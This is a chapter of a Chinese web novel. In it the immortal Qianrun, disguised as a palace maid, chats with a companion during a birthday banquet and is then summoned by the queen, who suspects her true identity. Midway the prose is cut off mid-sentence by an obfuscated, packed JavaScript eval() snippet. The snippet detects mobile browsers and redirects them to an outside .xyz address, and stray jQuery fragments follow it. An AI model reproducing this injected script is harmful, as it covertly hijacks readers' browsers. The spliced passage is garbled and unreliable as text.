29.第二十九章

作品:《宁寰是如何变成白发病娇的

    或许在某个无人知晓的角落,有谁利用可比肩入魔一瞬的念力作出了另外的诅咒,于是世间总有无端害怕天雷的人。千润一再劝自己不必大惊小怪,虽说仙人受刑必有雷鸣,但这并不代表每一声雷鸣背后都有仙人受刑。


    解辰既已回到浊冥地,从此以下犯上挑衅清净天、搅乱三界秩序的恶行也有他的一份了,下次再见面,还能像今天这样坐下来谈话吗?


    如果魔族战败,众首脑被俘虏,届时,云端的雷鸣声将更是连年不休——不对,那是古时候的事了。近来混沌世确信冬雷震震是不可能的,于是扰乱天罡的战犯基本都集中在夏季处理,按人头数多寡灵活调整策略,投入海狱是更为不扰人清静的选项。


    无念用胳膊肘碰碰千润:“你在发什么呆?一会外面要放焰火,咱们先去抢个好位置?”


    她拉着千润从其乐融融的正殿逃离,和叽叽喳喳的丫头婆子们一同挤在抄手廊中,只管伸长了脖子看天边,眼里满是不知忧虑为何物的盼望。


    ——却在千润再次走神前沉声一问:“太子还在生闷气吗?”


    千润后背一僵,嗫嚅道:“他生闷气了?我怎么没看出来……”


    “因为你显然比我瞎,你是没发现,我可是看得真真儿的,自打回了宫,他看你的眼神都冷透了!”


    这倒是发现了,只是实在懒得揣摩他的心思。千润默默守着规矩,没把他目睹旧友入魔的惨事拿出来说道,在无念探询的视线下东拉西扯一通:“头上的包还没消就跟我拿乔,一点不长记性。”


    “行,你也是个胆大得没边的。”无念白她一眼,跟着小丫鬟们蹦蹦跳跳吵了一通“什么时候放、什么时候放呀!”,眉头蓦地一皱,又把千润拉到一旁:“行什么行,我还是得说说你,你在乡下时父母肯定待你很好,不爱过这种苦日子我也晓得的,但你都到这个年纪了,该容人时总得容人,就算为了脖子上的脑袋着想,至少敷衍一下太子吧?你要不知道怎么敷衍,就看我平日是怎么做的。”


    “……可我并不觉得你敷衍到位了。”


    “哎,这项技艺的确有待打磨,但你的境况比我更紧迫,你是不知道,之前你天天忙自己的不跟太子玩,太子就生闷气,生了闷气还想拉上我一起气你,第一次见面不就那样,还记得吗?搞得我里外不是人,我也很憋屈啊!”


    千润哪里看不出来,无奈道:“那下次你别配合他了。”


    “是我想不配合就能不配合的吗?”无念瞄一眼正殿方向,恶声恶气地说:“感谢上苍,还好太子殿下不是个色中饿鬼,我们得救了……不对,只有我得救了。”


    她的认知始终停留在浅表,千润也不便再提离开的事,一再强调:“你找到我的符纸了吗?”


    “找到了,但我不觉得真出了事那些纸片能顶什么用。”


    千润太阳穴突突地跳:“不不,至少在这件事上你——恳请你——再信任我一点呢?”


    “你是想说,魔族打进来的时候,我得先学你把脸变黑……?”无念坚持不着调的作风,却是提出了非常合理的预言。


    趁现在有时间,还能再教她一些自保之术。千润没有香火、没有正经庙宇,连张年画都没有,但好歹还有个仙印,将暗藏真名的口诀复述几遍,再用小伎俩模糊掉句读、以免被广泛传播,到了关键时刻,可与求助者天人感应,即便在睡梦中也能将仙力借予她。


    无念囫囵吞枣地记住了,有了醉酒的恍惚:“这、这打油诗是什么意思?又是酒水又是火的……”


    “别问那么多,你只消牢记在心,有需要时自会浮上眼前。”千润拍拍她的肩道:“你我萍水相逢一场,我有不得不做的事,本不该把你拖下水,趁事情闹大之前补救补救,也算是对得起良心了。”


    无念只道她是惹了宁寰想跑路,几番劝说后收效甚微,便痛心疾首道:“你偏要做了这缩头乌龟,我也只好把傍身技艺传授给你了!


    千润哪里知道,在无念的理解中,她自己的傍身技艺竟是:“钓鱼这事,光下钩子没用,也要舍得饵,饵也有讲究,既要投鱼所好,又不能贪多,鱼儿也不傻,给得太多一看就是陷阱,况且这给多给少也不是恒定的,池塘的鱼和江海的鱼个头都不一样、一年四季河水流速不一,如何恰如其分地诱使它们上钩,因时而动、因地制宜……”


    正说到打窝的要点,一旁传来笑声和拍手欢呼声,是澄王在和小丫头们打趣,刚才迈着微醺的步伐拿树枝当剑乱舞了一通,路过的官员向他行了礼,都要转过身去皱半天眉头。


    见他一派轻松,千润想起的却是陈和靖因病不能出席。这实在没道理,二人明面上并无冲突,她为什么要把澄王的得意归在陈和靖倒霉头上?


    既然都想到了这里,她很难不想起神似澄王的他大侄儿——如今才知道那不顾陈和靖颜面的半颗头是替解辰削的——也不由自主地重新思考了宁寰是否适合做魔尊一事。


    说起来,再探茶楼的经历给她带来了一些改观:出于公义助解辰复仇,对汤虞国不太好的未来能够平静接受,正说明宁寰年纪轻轻便有超脱混沌世的秩序感,是最合适不过的天道捍卫者,这可是千润这类在世上混了几百年的修行者大彻大悟后才有的境界啊!


    然而,根据一些偏门医书的说法,千润担心的是,宁寰身上的诸多表现并非早慧的征兆,而是——如果相信她最初直觉的话——这个外表白璧无瑕、破绽无迹可寻的大高个儿,因历经……鱿鱼离身之痛,加上其他不明原因,在无人关注到的地方生出了畸变,即便解除眼力限制,也要了解他八成后才能发觉。


    至于是留下来治好病虫害,还是丢下烂摊子逃之夭夭,趋利避害是本能,千润自然选择后者,况且她还记得自己的私心是有时限的,并不是出于对超出理解之事的恐惧哦……并不是。对嘛,有什么好怕的?做自己私心的逃兵又不会遭雷刑,顶多因为没能解


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031740|160154||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    决战火而饱受良心的煎熬。


    工匠搬着几个装有火药和奇石碎屑的大箱子走到空地上,人群又是一阵欢呼,看来客人祝寿的环节已结束了,待火花升天、国王向各位来宾说了祝酒词,宴席才算正式开始。


    方才,千润在外院席间探到汤虞国命脉之外的气,结合那人的席位在礼仪制式上的说法,一下猜中他是苍梧国的使臣。送来了美人还不肯走,显然是要等到一个准信才肯离开,极有可能,国王会借“月华宫这块宝地”,在祝酒时正式宣布两国共享结界的决定。


    王后也总算得以喘息,由宫人搀扶着去寝殿更衣,少时,温玉艰难挤入抄手廊的人群,压着嗓子唤声:“映雪,王后娘娘召见。”


    无念已兴奋得忘了规矩,站在无忧无虑的立场上替映雪不乐意:“干什么呀,焰火还没看到呢!


    这话被一个突如其来的哑炮吞没了,众人惊慌一阵儿,反应过来时又觉得泄气,待工匠上前调整好了,期待的絮语重返此地,仿佛从未被打断过。


    千润则跟在温玉身后,穿越逐级冷清的重重回廊,进入尤为寒气沁衣的寝殿。


    “见过娘娘。”忐忑之下,抢先认罪是比较不容易被揪小辫子的,“中午奴婢说那话只是一时意气,请娘娘恕罪,奴婢已想通了,今后保证不生出半点离开太子殿下的心思。”


    陈旸羲却不是来追究这个的。


    “可还记得我在病中对你说的话?”


    她没有看千润,目光低低地垂着,并非失焦,而是慈爱地看着地上的蛇尾雪貂——蜷在小儿棉袄中正睡大觉,像是做了噩梦,后腿连蹬、蛇口嘶鸣。


    此时提起上回的托孤是何意?千润紧张地退了小半步:“是,娘娘的话奴婢一直记在心头,今后服侍太子殿下,只有更勤勉的……”


    “你到底是什么人?”


    凤冠坠儿叮当作响,猝不及防地,千润的视线被陈旸羲攫住。


    “先前你嫌藏书阁的日子太冷清,不想将来和故纸堆葬在一起,于是哭着来求我,我看你是个忠厚老实的,便把你调去了扶桑宫——”


    的确,为了增强可信度,千润认为,小伎俩的前提必须夸张一些。


    “现在想想,你求我的时候,焱儿那边还没传回返乡的消息。”说着,陈旸羲从枕头底下摸出了一张纸——为什么汤虞国的人都喜欢把重要的纸藏在枕头底下?千润也算是入乡随俗吗?“我也很好奇你究竟是哪里打动了他,便拿着你的八字去给先生算了……”


    自然,千润的生辰也是瞎编的,还没来得及对好时辰,比宁寰大了一岁。如果王后这时才想起来讲究“女大一、不作妻”的约定俗成,千润多少还能糊弄过去。


    可眼见着陈旸羲的神色在疲惫中绽出光彩,她要说的是:“我才知道,原来你是上天派来救我们焱儿的!”


    “咻——砰!”


    金红的光芒照亮了她的脸,是期盼已久的烟花升天了。